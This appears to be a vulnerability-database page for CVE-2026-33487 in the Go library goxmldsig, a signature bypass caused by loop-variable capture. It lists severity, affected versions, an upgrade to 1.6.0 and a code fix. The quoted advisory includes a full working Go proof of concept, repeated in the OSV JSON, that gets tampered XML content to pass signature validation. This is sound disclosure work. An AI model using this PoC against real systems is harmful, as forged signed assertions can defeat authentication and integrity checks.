Vulnerabilities in pkg:golang/github.com/russellhaering/goxmldsig

PACKAGE
Advisory Identifier: GHSA-479m-364c-43vc
Advisory Summary

CVE-2026-33487 is a HIGH (CVSS 7.5) validatesignature loop variable capture signature vulnerability (CWE-682: Incorrect Calculation) affecting Github.com/russellhaering/goxmldsig libraries in the Go ecosystem. The issue involves validatesignature loop variable capture signature bypass in goxmldsig. Remediation is available by upgrading affected packages to version 1.6.0.

7 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/russellhaering/goxmldsig

7 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/russellhaering/goxmldsig. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-479m-364c-43vc CVE-2026-33487 HIGH validateSignature Loop Variable Capture Signature Bypass in goxmldsig
GHSA-gq5r-cc4w-g8xf - HIGH Duplicate Advisory: gosaml2 is vulnerable to NULL Pointer Dereference from malformed XML signatures
GHSA-prjq-f4q3-fvfr CVE-2020-7731 HIGH github.com/russellhaering/gosaml2 is vulnerable to NULL Pointer Dereference
GHSA-mqqv-chpx-vq25 CVE-2020-7711 HIGH goxmldsig vulnerable to crash on nil-pointer dereference caused by sending malformed XML signatures
GHSA-q547-gmf8-8jr7 CVE-2020-15216 MODERATE github.com/russellhaering/goxmldsig vulnerable to Signature Validation Bypass
GHSA-rrfw-hg9m-j47h - CRITICAL Signature Validation Bypass
GHSA-m9hp-7r99-94h5 CVE-2020-26290 CRITICAL Critical security issues in XML encoding in github.com/dexidp/dex

CVE-2026-33487 at a Glance

CVE Identifier CVE-2026-33487
GHSA Identifier GHSA-479m-364c-43vc
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-682: Incorrect Calculation
Affected Product Github.com/russellhaering/goxmldsig
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-33487

To remediate this vulnerability, upgrade all affected Github.com/russellhaering/goxmldsig dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/russellhaering/goxmldsig fixed: 1.6.0
Upgrade github.com/russellhaering/goxmldsig to 1.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/russellhaering/goxmldsig

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33487, inspect your project dependencies for Github.com/russellhaering/goxmldsig:

inspect dependencies for github.com/russellhaering/goxmldsig

Analyze the terminal output to locate any version of Github.com/russellhaering/goxmldsig in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-682: Incorrect Calculation, where the product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management. In Github.com/russellhaering/goxmldsig, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Details The `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. ------ ### Technical Details The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration. As a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria. Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue. ```````go // goxmldsig/validate.go (Lines 309-313) for _, _ref := range signedInfo.References { if _ref.URI == "" || _ref.URI[1:] == idAttr { ref = &_ref // <- Capture var address of loop } } ``````` ----- ### PoC The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature. ``````go package main import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "encoding/base64" "fmt" "math/big" "time" "github.com/beevik/etree" dsig "github.com/russellhaering/goxmldsig" ) func main() { key, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { panic(err) } template := &x509.Certificate{ SerialNumber: big.NewInt(1), NotBefore: time.Now().Add(-1 * time.Hour), NotAfter: time.Now().Add(1 * time.Hour), } certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key) if err != nil { panic(err) } cert, _ := x509.ParseCertificate(certDER) doc := etree.NewDocument() root := doc.CreateElement("Root") root.CreateAttr("ID", "target") root.SetText("Malicious Content") tlsCert := tls.Certificate{ Certificate: [][]byte{cert.Raw}, PrivateKey: key, } ks := dsig.TLSCertKeyStore(tlsCert) signingCtx := dsig.NewDefaultSigningContext(ks) sig, err := signingCtx.ConstructSignature(root, true) if err != nil { panic(err) } signedInfo := sig.FindElement("./SignedInfo") existingRef := signedInfo.FindElement("./Reference") existingRef.CreateAttr("URI", "#dummy") originalEl := etree.NewElement("Root") originalEl.CreateAttr("ID", "target") originalEl.SetText("Original Content") sig1, _ := signingCtx.ConstructSignature(originalEl, true) ref1 := sig1.FindElement("./SignedInfo/Reference").Copy() signedInfo.InsertChildAt(existingRef.Index(), ref1) c14n := signingCtx.Canonicalizer detachedSI := signedInfo.Copy() if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil { detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace) } canonicalBytes, err := c14n.Canonicalize(detachedSI) if err != nil { fmt.Println("c14n error:", err) return } hash := signingCtx.Hash.New() hash.Write(canonicalBytes) digest := hash.Sum(nil) rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest) if err != nil { panic(err) } sigVal := sig.FindElement("./SignatureValue") sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig)) certStore := &dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{cert}, } valCtx := dsig.NewDefaultValidationContext(certStore) root.AddChild(sig) doc.SetRoot(root) str, _ := doc.WriteToString() fmt.Println("XML:") fmt.Println(str) validated, err := valCtx.Validate(root) if err != nil { fmt.Println("validation failed:", err) } else { fmt.Println("validation ok") fmt.Println("validated text:", validated.Text()) } } `````` ----- ### Impact This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature. ------ ### Remediation Update the loop to capture the value correctly or use the index to reference the slice directly. ``````go // goxmldsig/validate.go func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error { var ref *types.Reference // OLD // for _, _ref := range signedInfo.References { // if _ref.URI == "" || _ref.URI[1:] == idAttr { // ref = &_ref // } // } // FIX for i := range signedInfo.References { if signedInfo.References[i].URI == "" || signedInfo.References[i].URI[1:] == idAttr { ref = &signedInfo.References[i] break } } // ... } `````` ---- ### References https://cwe.mitre.org/data/definitions/347.html https://cwe.mitre.org/data/definitions/682.html https://github.com/russellhaering/goxmldsig/blob/main/validate.go ----- **Author**: Tomas Illuminati

CVE-2026-33487 Affected Github.com/russellhaering/goxmldsig Versions

1 component(s)
Fixed Versions:
1.6.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/russellhaering/goxmldsig
Go
< 1.6.0
1.6.0

References

Frequently Asked Questions

What is CVE-2026-33487?
CVE-2026-33487 is a security vulnerability in Github.com/russellhaering/goxmldsig involving validateSignature Loop Variable Capture Signature Bypass in goxmldsig under CWE-682: Incorrect Calculation.
Which Github.com/russellhaering/goxmldsig versions are affected?
Affected versions include releases prior to 1.6.0 across affected packages: github.com/russellhaering/goxmldsig.
What version fixes CVE-2026-33487?
Upgrading to 1.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/russellhaering/goxmldsig affected?
Yes, github.com/russellhaering/goxmldsig is affected in releases prior to 1.6.0. Upgrade your dependency to 1.6.0 or later.
What is the CVSS score of CVE-2026-33487?
CVE-2026-33487 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-33487?
CVE-2026-33487 is classified under CWE-682: Incorrect Calculation (The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.).
How can I check Go dependencies for CVE-2026-33487?
Run the dependency tree command: 'inspect dependencies for github.com/russellhaering/goxmldsig'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-479m-364c-43vc",
  "modified" : "2026-03-27T20:58:00Z",
  "published" : "2026-03-18T20:18:22Z",
  "aliases" : [ "CVE-2026-33487" ],
  "summary" : "validateSignature Loop Variable Capture Signature Bypass in goxmldsig",
  "details" : "### Details\n\nThe `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = &_ref // <- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore:    time.Now().Add(-1 * time.Hour),\n\t\tNotAfter:     time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey:  key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := &dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n  // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = &_ref\n\t// \t}\n\t// }\n\t\n  // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = &signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/russellhaering/goxmldsig"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-479m-364c-43vc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33487"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/russellhaering/goxmldsig"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347", "CWE-682" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T20:18:22Z",
    "nvd_published_at" : "2026-03-26T18:16:30Z"
  }
}